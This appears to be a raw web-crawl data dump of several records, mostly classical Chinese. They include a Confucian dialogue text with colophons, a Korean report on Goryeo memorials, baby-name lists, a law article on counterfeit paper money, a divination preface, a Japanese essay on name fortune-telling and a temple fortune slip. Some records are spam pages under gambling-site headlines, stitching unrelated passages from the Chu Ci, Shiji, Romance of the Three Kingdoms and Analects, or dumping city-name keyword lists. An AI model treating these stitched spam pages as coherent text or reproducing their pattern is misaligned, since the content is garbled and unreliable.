公相成王,卜宅于洛,率諸侯以幣見,皆再拜稽首,曰旅王若公,曷為其不知周公也。夫聖人神矣,必有疑而後辨,辨而後喻者,非召公不足以動百姓之疑而喻其義,則其疑也乃所以辨也,其不悦乃所以歡也,君子之為,衆人固不知。\n劉子曰:無强重任。强重任,非其力,必廢其任;無歆重名,歆重名非其實,必毁其名。\n劉子曰:山林之士重生,市井之庸輕生。役于名者勞生,得于徳者安生。安生者,家之謂孝子也,國之謂忠臣也,戰之謂勇士也,教之謂賢師也,學之謂良友也。安生者非以生為安者也,言達于性命。達于性命者,故能役于禮義,曲而中,肆而辨,死而不貳。\n待賞罰而為治者,非正主也。挟非譽而為義者,非徳士也。\n深甫曰:無衣之詩,晉武公之詩也。晉武公兼有宗國,則君子曷為美之?君子之道固兼其宗國乎?劉子曰:否,此之謂變風。變風者變于正也,變之中有美,美之中有刺,取其一節,不兼其義。谷風曰采葑采菲無以下體,此之謂也。無衣之詩其惠足以得民,其智足以使臣,其力足以兼國,然而不自安也,待天子之命然後安,是之取爾也。孔子曰齊桓公正而不譎,非以其殺子糾、簒齊國為正也,以尊天子也。\n劉子曰:聖人之政,吾非得親見之也,而有禮存焉。聖人之言,吾非得親聞之也,而有道存焉。在于書者,一是一非一偽一真,吾誰與信?然則吾且以禮觀政,以道觀言乎。\n三王之禮相變者,皆其可得而變者也。其不可得而變者猶若也。夏足鼓,商楹鼔,周縣鼓,謂之鼓之變可也,以為變鼔矣,則吾未之見。\n不言不為者天也,言而不為者君也,言且為者臣也,不言而為者民也。四者有職而為為下矣。\n雖有聖人之性,顧而與衆同;雖有無為之徳,還事于事,是以知聖人者鮮矣。\n楊慥問曰:仲尼稱顔淵不遷怒,何謂也?劉子曰:中庸而已矣。衆人之怒也,出怒于怒,故怒也,是遷也已。顔子之怒也,出怒不怒,出怒不怒者,怒出于不怒者也。怒出于不怒者,有遷之者乎。仲尼言其一端爾。由是言之,謂之不遷怒也可,謂之不遷喜也可。楊子曰:何謂中庸?曰:中庸者中用也。喜怒哀樂之未發謂之中,發而皆中節謂之和,此四物者,君子不能不由焉,然而中為之本矣。有人也喜之不喜,怒之不怒,若是可謂中庸乎?曰:未也,是其於智也達,于道也偏。偏則不徧,是其過之者也。然則喜之而喜,怒之而怒,喜怒不失其類,則可謂中庸乎?曰:未也,是其于名也察,于情也節,猶未免乎徇也,是之謂不及。然則奈何?曰:因于物,縁于理,彼其可喜也而喜之,彼其可怒也而怒之,其貌曲巧,其變曲當,物之制也,理之有也,而泊然無所于繫,是中庸矣。孔子曰,中庸之為徳也,其至矣乎,民鮮久矣。\n君子之道致乎至有曰不為,無曰愈乎已。\n矜小名以售大偽,飾小亷以釣大利者,惟鉅孱也。何謂鉅孱?鉅者齊之處士,孱者魏之處士。鉅以玉璧賂而顯,孱以金錢貨而用。以名處士,則是。所以為處士,則非也。\n原跋\n公是祖居在新喻之荻斜,此書初未嘗有傳,乾道八年,諤客游豫章,九月十日,都運劉司業文潜見邀夜話,偶出此為贈,蓋蜀中善本,得之甚珍,留寄旅舍。既而歸省復来,二十六日道過臨江,而使君江郎中叔源留飲富壽堂,因語及之,使君欣然即欲鋟版,且云:去替雖近,亦當辦此。十月一日至新吴,即發篋封寄。輒題于後,庶他時知其来自司業劉公,而使君主張名教,不以秩滿行迫,而猶切切于斯也。郡人謝諤書。\n溥来臨江,乃先生鄉里。二年間訪求其遺文,而未能盡見。既將去,此乃得。公是弟子記觀其微言篤論,皆根柢孔孟而扶植名教,醇於荀揚逺甚,真有大功于聖門。遂併工刻之,以廣其傳。凡是正十有六字,其疑者闕之。乾道壬辰十月上澣三衢江溥書。\n右公是先生弟子記,臨江劉子之遺書也。前太守江公既刋是本,不黯時在髙安,得而讀之,疑其頗有闕誤。及到官同年友先生之從曾孫靖之子和又言之,因取其家藏舊本校正,果有百餘字,而其從叔彭因椿復出一本,尤精且詳,子和本視之尚多舛脱,如叔贛問尚書記人之功下脱五段,梓慶削木為鐻至不敢以爵賞攖其慮下闕七段,文勢差錯,至不可讀。其他以二段為一一為二者,不可概舉。蓋彭因本乃閣下善本,雖子和亦未之見故也。不黯既愛其精詳,且受二君之請,遂為正其訛謬,増益其未備者,更版凡十有八,補字三百七十,列之郡齋,使學者得見全書,而二君獲補完先世遺文之力,豈不休哉。淳熙改元孟秋朔玉牒不黯書\n此文本取材自钱建文制作电子书\nPowered by www.guoxue123.com © Copyright 2006. All rights reserved","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/guoxue123.com\/zhibu\/0101\/0100\/105.htm","date":"2018-11-21T00:06:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746847.97\/warc\/CC-MAIN-20181120231755-20181121013755-00293.warc.gz","language":"lzh","language_score":0.4579654932,"language_script":"Hani","minhash_cluster_size":19,"top_langs":"{\"lzh_Hani_score\": 0.4579654932022095, \"cmn_Hani_score\": 0.44016870856285095, \"nan_Hani_score\": 0.07060390710830688, \"wuu_Hani_score\": 0.018572058528661728}","num_words":241,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.508,"perplexity_score":500.0,"cluster_detection":1} +{"text":"소개글\n도움이 많이 됐으면 좋겠습니다.\n목차\n우선 시무28조 분류표\n원문\n해석\n본문내용\n1조\n我國家統三以來四十七年 士卒未得安枕 糧餉未免?費者 以西北隣於戎狄 而防戎之所多也 願聖上以此爲念 夫以馬歇灘爲界 太祖之志也 鴨江邊石城爲界 大朝之所定也 乞將此兩處 斷於宸哀 擇要害 以定疆域選土人能射御者 充其防戎 又選其中二三偏將 以統領之 則京軍免更戎之勞 芻粟省飛輓之費矣.\n->요지(要地)를 가려 국경을 정하고, 그 지방에서 활 잘 쏘고 말 잘 타는 사람을 뽑아 국방을 맡도록 하소서.\n2조\n竊聞聖上 爲設功德齋 或親?茶 或親磨麥 臣愚深惜聖體之勤勞也 此弊始於光宗 崇信讒邪 多殺無辜 惑於浮屠果報之說 欲除罪業 浚民膏血 多作佛事 或設毘盧遮懺悔法 惑齋僧毬庭 或設無遮水陸會於歸法寺 每値佛齋日 必共乞食僧 或以內道場餠果 出施?者 或以新池穴口與摩利山等處魚梁爲放生所 一歲四遣使 就其界寺院 開演佛經 又禁殺生 御廚肉膳 不使宰夫屠殺 市買以獻 至令大小臣民 悉皆懺悔 擔負米穀 柴炭芻豆 施與中外道路者 不可勝紀 然以旣信讒? 視人如草莽 誅殺者 堆積如山 常竭百姓膏血 以供齋設 佛如有靈 豈肯應供 當是時 子背父母 奴婢背主 諸犯罪者 變形爲僧 及遊行?乞之徒 來與諸僧 相雜赴齋者 亦多 有何利益 又使僧善會 主其施與其僧以餠米 忘費施他 綠此不得壽終 曝尸道傍 時議譏之 今聖上在位 所行之事 與彼不同 但此數事 只勞聖體 無所得利 願正君王之體 不爲無益之事\n->불사(佛事)를 많이 베풀어 백성의 고혈(膏血 : 기름과 피)을 짜내는 일이 많고, 죄를 지은 자가 중을 가장하고, 구걸하는 무리들이 중들과 서로 섞여 지내는 일이 많습니다. 원컨대 군왕의 체통을 지켜 이로울 것이 없는 일은 하지 마소서.\n참고 자료\n고려사....","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/report.kyobobook.co.kr\/view\/2003\/2392798\/","date":"2018-12-18T20:33:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376829568.86\/warc\/CC-MAIN-20181218184418-20181218210418-00061.warc.gz","language":"lzh","language_score":0.8465638161,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.8465638160705566, \"cmn_Hani_score\": 0.12145348638296127, \"kor_Hang_score\": 0.021281667053699493}","num_words":151,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.847,"perplexity_score":500.0,"cluster_detection":1} +{"text":",\n山东群英会 www.j8r56.cn 今天的主题是名字评分测试打分免费......\n取一个有风格时尚名字,也可以像一部经典作品一样,源远流长,不过家长在选择名字的时候?;岱⑾?,起名字并不是一件简单的事情。\n小说里秦姓好听的名字到底应该怎么???\n山东群英会网为大家提供最有价值的姓名资料,本站名字都是本站的专业顾问程中华、覃柄淋等周易风水学起名专家,借助名字三才五格剖象取名,本站的姓名并非其它网站汉字随机组合而来。本站为家长提供优质的取名服务,在这里能快速让你喜欢的名字跃入眼帘。\n姓秦的古风男名字—如果你的宝宝姓秦,那么来选一个适合你的名字吧!还有跟多姓名一起关注吧!\n宝宝在线起名:\n秦祖新 秦祖荣 秦艳彬 秦正沣 秦伟航 秦正丰 秦喜友 秦帝 秦如欢 秦紫欢 秦海淋 秦基富 秦泗彩 秦洪兵 秦昌龙 秦思瑜 秦恩瑜 秦培傲 秦玉堂 秦培赢 秦培人 秦峥沣 秦峥丰 秦子健 秦瑜禧 秦菲菲 秦入社 秦钲沣 秦友春 秦瑜潞 秦毅强 秦友轩 秦铉瓷 秦友语 秦语 秦华伟 秦德刚 秦思泽 秦树创 秦晓锋 秦昱泓 秦靖舒 秦逅蘅 秦喜荣 秦桂清 秦海凌 秦惠蓝 秦明德 秦绮蔚 秦朝尘 秦曹成 秦曹尘 秦潮尘 秦迁潮 秦迁舟 秦舟月 秦书潮 秦与潮 秦潮雨 秦年青 秦亦歌 秦亦清 秦亦远 秦亦勤 秦若禅 秦益华 秦禅 秦无笛 秦无涯 秦忆笛 秦恺潞 秦怀笛 秦远笛 秦有笛 秦青笛 秦之笛 秦恺璐 秦笛青 秦朝谦 秦之曹 秦青淳 秦青纯 秦亦青 秦纯青 秦笔青 秦亦谦 秦迁可 秦子迁 秦可迁 秦谦 秦谦谦 秦曹谦 秦可谦 秦天忆 秦皖川 秦锦华 秦秀彤 秦秀钰 秦锐钰 秦钊钰\n2009-2018 山东群英会 辽ICP备14017459号\n男孩名字大全、女孩名字大全、名字测试打分、取名字大全","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/www.j8r56.cn\/nanhai\/451884.html","date":"2019-02-22T08:41:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247514804.76\/warc\/CC-MAIN-20190222074154-20190222100154-00334.warc.gz","language":"lzh","language_score":0.8869574666,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.8869574666023254, \"cmn_Hani_score\": 0.09672965854406357}","num_words":111,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.933,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第382條 僞造寶鈔\n1. 凡僞造寶鈔 不分首從 及窩主 若知情行使者 皆斬 財産並入官. 告捕者 官給賞銀二百五十兩 仍給犯人財産. 里長知而不首者 杖一百 不知者 不坐 其巡捕守把官軍 知情故縱者 與同罪 若搜獲僞鈔 隱匿入己 不解官者 杖一百流三千里 失於巡捕及透漏者 杖八十 仍依强盜責限根捕㉮\n2. 若將寶鈔 挑剜補輳描改 以眞作僞者 杖一百流三千里 爲從及知情行使者 杖一百徒三年.\n3. 其同情造僞人 有能悔過 捕獲同伴首告者 與免本罪 亦依常人 一體給賞.\n㉮ 講曰: '知情故縱 與同'者 該杖一百流三千里 若受財故縱者 絞","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_160_0240_0010_0050","date":"2019-04-24T16:03:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578650225.76\/warc\/CC-MAIN-20190424154437-20190424180039-00039.warc.gz","language":"lzh","language_score":0.4893212616,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.4893212616443634, \"cmn_Hani_score\": 0.3416968286037445, \"nan_Hani_score\": 0.15866684913635254}","num_words":44,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.534,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n殷浩竣 殷铁又 殷少华 殷溥骏 殷介权 殷霏 殷晓雅 殷寓 殷秋良 殷正貉 殷正嚎 殷正壕 殷正颢 殷正灏 殷正蒿 殷正郝 殷中宛 殷正濠 殷正皓 殷正镐 殷正昊 殷正好 殷正源 殷正和 殷正豪 殷永豪 殷婴 殷思诺 殷丽莎 殷若思 殷铭硕 殷昭华 殷万春 殷雪微 殷雨涵 殷国亮 殷梦帆 殷牧帆 殷栎 殷晓泉 殷若涵 殷亦帆 殷敏秀 殷瑞君 殷嘉璐 殷琬璐 殷翊航 殷小炜 殷小滟 殷方石 殷方舟 殷曼琪 殷嘉伟 殷智超 殷月强 殷子 殷复商 殷东泽 殷语 殷禹 殷育 殷誉 殷贺 殷赫 殷祥羽 殷呈 殷祥浩 殷祥宇 殷祥风 殷祥飞 殷祥虎 殷旭珀 殷旭函 殷云翔 殷俪菲 殷家乐 殷敏婕 殷瑜阑 殷嘉忆 殷凌霄 殷广山 殷治亦 殷开云 殷雪君 殷庆 殷之航 殷帅 殷季聪 殷哲浩 殷钰菲 殷太宁 殷艺菲 殷哲凯 殷骁海 殷嘉恒 殷晓坤 殷振宇 殷杭铭 殷雪飞 殷若熙 殷奕帆 殷奕迅 殷奕 殷炜 殷熙 殷坪刀 殷焕 殷恩琦 殷小淞 殷川 殷世钦 殷化东 殷布南 殷宇雷 殷亚勋 殷淑秀 殷湛 殷瑾睿 殷田 殷蕊睿 殷则通 殷严顺 殷连平 殷朔 殷明轩 殷茗轩 殷舒 殷亚军 殷阅 殷晟茗 殷乾桐 殷宇霖 殷衡平 殷臣泽 殷香雯 殷皎月 殷柯云 殷秋淮 殷振鑫 殷正明 殷尚伊 殷郡仪 殷炯恒 殷桂忠 殷婉儿 殷诗曼 殷佳璐 殷一帆 殷准 殷谋 殷铁炎 殷烈炎 殷铁冰 殷飞越 殷君越 殷越佳 殷佳越 殷路生 殷家卿 殷新雨 殷兆辉 殷曦之 殷梦杉 殷诗焯 殷子焯 殷丝焯 殷梓 殷希 殷向凯 殷梦佼 殷会阁 殷广华 殷文聪 殷梦彤 殷淮雅 殷淮郡 殷广荣 殷恒伟 殷榆焐 殷炜林 殷辰 殷昆 殷丽芹 殷春晓 殷慧群 殷贵平 殷宇嘉 殷福亮 殷嘉奇 殷渤人 殷巍 殷连香 殷立华 殷增树 殷美惠 殷美茜 殷源潮 殷乐飞 殷翰飞 殷锐翰 殷锐博 殷锐屹 殷锐锋 殷锐彦 殷泽宇 殷舒琪 殷庆海 殷大海 殷百川 殷瑞波 殷咏波 殷咏 殷永 殷莫愁 殷瑞仪 殷瑞敏 殷瑞辰 殷舒然 殷若斯 殷睿思 殷睿斯 殷佳溟 殷家舜 殷佳凡 殷国锋 殷佳贺 殷国杰 殷锐航 殷晓涛 殷佳惠 殷家惠 殷家民 殷佳旭 殷家旭 殷嘉旭 殷梓晔 殷铭宇 殷铭祺 殷集军 殷乐嘉 殷玉忠 殷淑敏 殷成嵩 殷溥馥 殷启亮 殷传慧 殷慧民 殷新战 殷苏珉 殷凡一 殷笛夫 殷晗芽 殷祺栩 殷心恬 殷德怀 殷小雅 殷晓 殷炯 殷千鹳 殷寿亚 殷艺峰 殷海彦 殷财 殷笛鑫 殷淑莲 殷红军 殷允真 殷广智 殷允箴 殷世在 殷艺鸣 殷太伟 殷增良 殷佳华 殷家敏 殷敏纯 殷佳敏 殷雯雯 殷秉凯 殷玮华 殷秉霄 殷庚邦 殷崇辉 殷庚霄 殷崇霄 殷秉昌 殷秉忠 殷宏程 殷玉虎 殷伏波 殷婴宁 殷长生 殷雨虹 殷广平 殷静漪 殷国博 殷晓克","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/a681.cn\/show_A00.aspx","date":"2019-07-20T20:57:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526670.1\/warc\/CC-MAIN-20190720194009-20190720220009-00020.warc.gz","language":"lzh","language_score":0.620600462,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.6206004619598389, \"nan_Hani_score\": 0.37939900159835815}","num_words":298,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.639,"perplexity_score":500.0,"cluster_detection":1} +{"text":"卜筮者,隱君子之所託也。昔嚴君平賣卜成都市,與人子言依於孝、與人弟言依于順、與人臣言依於忠,君子以為得作者之意,不啻登太皞氏之堂而耳提面命焉。古之聖人,所可與人言者,未嘗不竭其辭,而有不可以正告天下者,則必有所託以行之。後之君子,不察其意,而以是為吉凶悔吝之末數,非正道明誼者之所究,心則惑矣!吾友曹橫琴氏,得其家君游南子之傳,慨羣迷之不旦、悼筮法之中衰,於是上究連藏、下逮京焦、傍通壬甲、廣採占歌,作為《易隱》,凡十萬餘言。噫!可為博矣!夫象數變而理不變,九六殊而旨不殊,一也!四十九也,三百六十也,四千九十六也,由是而之萬億也,一而已矣。即由是而之「天地之賾也、萬物之眾也、典墳丘索之浩渺也」,亦一而已矣。傳曰:〈變化云為,吉事有祥,象事知器,占事知來。〉又曰:〈天地設位,聖人成能;人謀鬼謀,百姓與能。〉夫聖人之所以能若此者,豈有他哉,統之理而已矣,由是觀之,安知「季子之樂卜、趙孟之詩卜、襄仲之言卜、子游子夏之威儀卜、沈尹氏之政卜、孔成子之禮卜」不統於橫琴氏之蓍卜哉!吾於是而知曹氏之為隱君子也。","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/mssl.eslite.com\/main\/product\/2336364","date":"2019-08-20T01:57:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315174.57\/warc\/CC-MAIN-20190820003509-20190820025509-00328.warc.gz","language":"lzh","language_score":0.4678821266,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4678821265697479, \"cmn_Hani_score\": 0.41107872128486633, \"nan_Hani_score\": 0.08780477941036224, \"wuu_Hani_score\": 0.011561177670955658}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.544,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2018吉林省長春市中考語文真題試卷【高清圖片版】\n?\n旺彩彩票 贵港 灵宝 吉林长春 昆山 临沂 仁怀 天水 济南 红河 伊春 广安 武安 新疆乌鲁木齐 宁德 甘肃兰州 南平 那曲 大同 白城 四平 江苏苏州 丽江 开封 通化 吉林 德州 鸡西 溧阳 来宾 渭南 象山 郴州 巴中 遂宁 扬中 保亭 驻马店 喀什 陵水 文山 泰州 建湖 澳门澳门 燕郊 泰安 南阳 常州 沭阳 钦州 绵阳 海安 乐清 广元 云浮 三门峡 湖北武汉 三亚 神农架 淄博 昭通 长治 义乌 五指山 株洲 台北 东台 河池 金昌 海宁 七台河 湖州 云南昆明 承德 鸡西 铜陵 徐州 白沙 肥城 济南 神木 温岭 巴彦淖尔市 百色 临汾 阿拉善盟 廊坊 四平 海拉尔 廊坊 简阳 盐城 邹城 玉树 海丰 台中 青海西宁 襄阳 台湾台湾 景德镇 基隆 贵州贵阳 大连 东方 陕西西安 库尔勒 本溪 吕梁 巴中 赵县 桓台 涿州 漳州 滁州 桓台 汕头 开封 平顶山 鹤壁 曲靖 河池 遂宁 伊犁 广安 大庆 滨州 辽源 锡林郭勒 济南 六盘水 安阳 邹城 崇左 张家界 灌云 吐鲁番 宁波 平顶山 濮阳 常州 包头 黔南 肇庆 揭阳 台中 东阳 南平 大庆 毕节 章丘 燕郊 肥城 乐山 广饶 馆陶 巴彦淖尔市 中山 泉州 黄山 徐州 偃师 宁国 龙岩 新疆乌鲁木齐 白城 台州 酒泉 垦利 揭阳 宜都 陕西西安 玉环 吉林 泉州 驻马店 东海 锦州 曹县 白城 涿州 琼海 高雄 舟山 武威 广汉 江苏苏州 新余 大丰 陕西西安 正定 汕尾 通化 铁岭 郴州 香港香港 东方 沛县 哈密 滨州 鄂尔多斯 辽源 恩施 临沂 馆陶 湖北武汉 怒江 贵州贵阳 宜春 铜陵 大连 广州 平凉 博罗 台州 临猗 枣庄 唐山 邵阳 泰兴 钦州 上饶 荆门 吉安 株洲 五家渠 沧州 固原 邳州 宝应县 陇南 西双版纳 三门峡 渭南 瑞安 武威 果洛 昭通 塔城 扬州 泗洪 石狮 内蒙古呼和浩特 深圳 十堰 海南海口 果洛 常州 六盘水 威海 聊城 锡林郭勒 普洱 丹东 醴陵 黄石 山东青岛 瑞安 神木 南平 武安 三门峡","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.tywtcn.com\/zhongkao\/33473.html","date":"2020-01-20T08:18:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250598217.23\/warc\/CC-MAIN-20200120081337-20200120105337-00018.warc.gz","language":"lzh","language_score":0.5216137171,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5216137170791626, \"cmn_Hani_score\": 0.25435319542884827, \"nan_Hani_score\": 0.21032406389713287}","num_words":262,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.301,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.522,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2020年1月末に消えるそうですが、移転先は未定です。\n近時韻鏡之書。盛行于世。則有下反切人名之事其法。於人之二名者以上字為切母下字為韻。従韻鏡帰成一字。因視其字美悪、美則已。悪則改其名、以為所帰之美悪。而終身之吉凶禍福係焉。此事不知起於何時、始於何人、毋論中国、雖我大東、自古迨吾国初、実所未有也。蓋自寛永間以来也。在今日則自王公以下至庶人未有不反切其名者也。己不学其事、則必仰人。於是問諸能者、糈糒従之。諸知反音者。因言其吉凶、猶卜師也。故儒者若浮屠中。有業此以致富者焉。夫中国人多一名。固無以反切、此方人必二名。雖有一名者、則千万人中一人耳。故可以反切、好事者、因制之法、以欺愚俗也。此事若巫祝陰陽之徒為之。則固其所也。不足責也。苟為儒而読聖人之書。聞中夏之道者。豈宜不知其非哉。如不知其非、是至愚也。知其非而為之。是誑人也。至愚可羞也。誑人可悪也。有一於此、不可以為儒矣。憶。世之反切人名者。亦何知韻鏡之所以為韻鏡乎。","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/kokugosi.g.hatena.ne.jp\/kuzan\/20070609","date":"2020-01-24T16:28:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250624328.55\/warc\/CC-MAIN-20200124161014-20200124190014-00272.warc.gz","language":"lzh","language_score":0.6587899327,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6587899327278137, \"cmn_Hani_score\": 0.18462030589580536, \"jpn_Jpan_score\": 0.08370483666658401, \"wuu_Hani_score\": 0.03345555439591408, \"nan_Hani_score\": 0.014689482748508453}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.659,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ope体育中金地方债及企业贷款放量推动新增社融超5万亿元\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n徒维涒滩四年\n其明年冬,上巡南郡,至江陵而东。登礼灊之天柱山,号曰南岳。浮江,自寻阳出枞阳,过彭蠡,礼其名山川。北至琅邪,并海上。四月中,至奉高脩封焉。\n却说孙权求计于吕蒙。蒙曰:\"吾料关某兵少,必不从大路而逃,麦成正北有险峻小路,必从此路而去。可令朱然引精兵五千,伏于麦城之北二十里;彼军至,不可与敌,只可随后掩杀。彼军定无战心,必奔临沮。却令潘璋引精兵五百,伏于临沮山僻小路,关某可擒矣。今遣将士各门攻打,只空北门,待其出走。\"权闻计,令吕范再卜之。卦成,范告曰:\"此卦主敌人投西北而走,今夜亥时必然就擒。\"权大喜,遂令朱然、潘璋领两枝精兵,各依军令埋伏去讫。\n大馀四十四,小馀七百三十六;大馀五十一,无小馀;","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/app.in788.com\/UYBLL\/index.html","date":"2020-02-22T21:12:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145729.69\/warc\/CC-MAIN-20200222211056-20200223001056-00144.warc.gz","language":"lzh","language_score":0.4379488528,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4379488527774811, \"cmn_Hani_score\": 0.25172558426856995, \"nan_Hani_score\": 0.11636564880609512, \"zxx_Latn_score\": 0.02507339045405388, \"jpn_Jpan_score\": 0.01706698164343834, \"yue_Hani_score\": 0.015172538347542286, \"und_Tang_score\": 0.012496012263000011, \"wuu_Hani_score\": 0.010580739937722683}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.362,"perplexity_score":500.0,"cluster_detection":1} +{"text":"宝马线上国家医保局以人民为中心切实保障患者医疗费用\n叶公问孔子于子路,子路不对。子曰:\"女奚不曰:其为人也,发愤忘食,乐以忘忧,不知老之将至云尔。\"\n孙子兵法,一十三篇。美人既斩,良将得焉。其孙膑脚,筹策庞涓。吴起相魏,西河称贤;惨礉事楚,死後留权。\n高祖年,拜为假左丞相,入屯兵关中。月馀,魏王豹反,以假左丞相别与韩信东攻魏将军孙\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;\n明年,匈奴数入边,兴兵守御。後岁少不登。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.highwayspirits.com\/appgthzz\/3629307.html","date":"2020-03-29T12:59:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370494331.42\/warc\/CC-MAIN-20200329105248-20200329135248-00495.warc.gz","language":"lzh","language_score":0.5257740021,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5257740020751953, \"cmn_Hani_score\": 0.20255336165428162, \"nan_Hani_score\": 0.02641858533024788, \"und_Tang_score\": 0.02420893870294094, \"zxx_Latn_score\": 0.02310730516910553, \"yue_Hani_score\": 0.01798371598124504, \"und_Hluw_score\": 0.017419688403606415, \"jpn_Jpan_score\": 0.014835024252533913, \"wuu_Hani_score\": 0.01388088334351778, \"und_Cyrl_score\": 0.013432422652840614}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.198,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第四籤\n下下 小秦王三跳澗\n去年百事頗相宜。若較今年時運衰。仙機:\n好把瓣香告神佛。莫教福謝悔無追。\n頗■可\n功名無。財祿輕。訟宜息。婚未成。\n病難癒。行阻程。若求吉。禱神明。\n未■難\n功名:雖是勤讀 要領不得 壓三出四 明年再試\n六甲:先調和身 乃言懷之 有孕更慎 神必佑之\n求財:平凡即幸 日日作之 三餐火煙 即可滿足\n婚姻:見即不合 明知不可 即宜止之 不宜強求\n農牧:時也命也 不是君懶 也不是誤 命註定也\n失物:在陽方失 此失不回 已見兆頭 重買可也\n生意:度小月也 命中之定 不可逆也 靜待時運\n丁口:人人各方 或大或小 各自治之 方可平安\n出行:不可行也 尤為夏季 土崩地裂 不必勉強\n疾病:年逾還曆 明知有疾 不宜殘害 宜珍惜之\n官司:區區之數 設法償之 為此告之 傷身心已\n時運:客年順境 今卻逆轉 一時之運 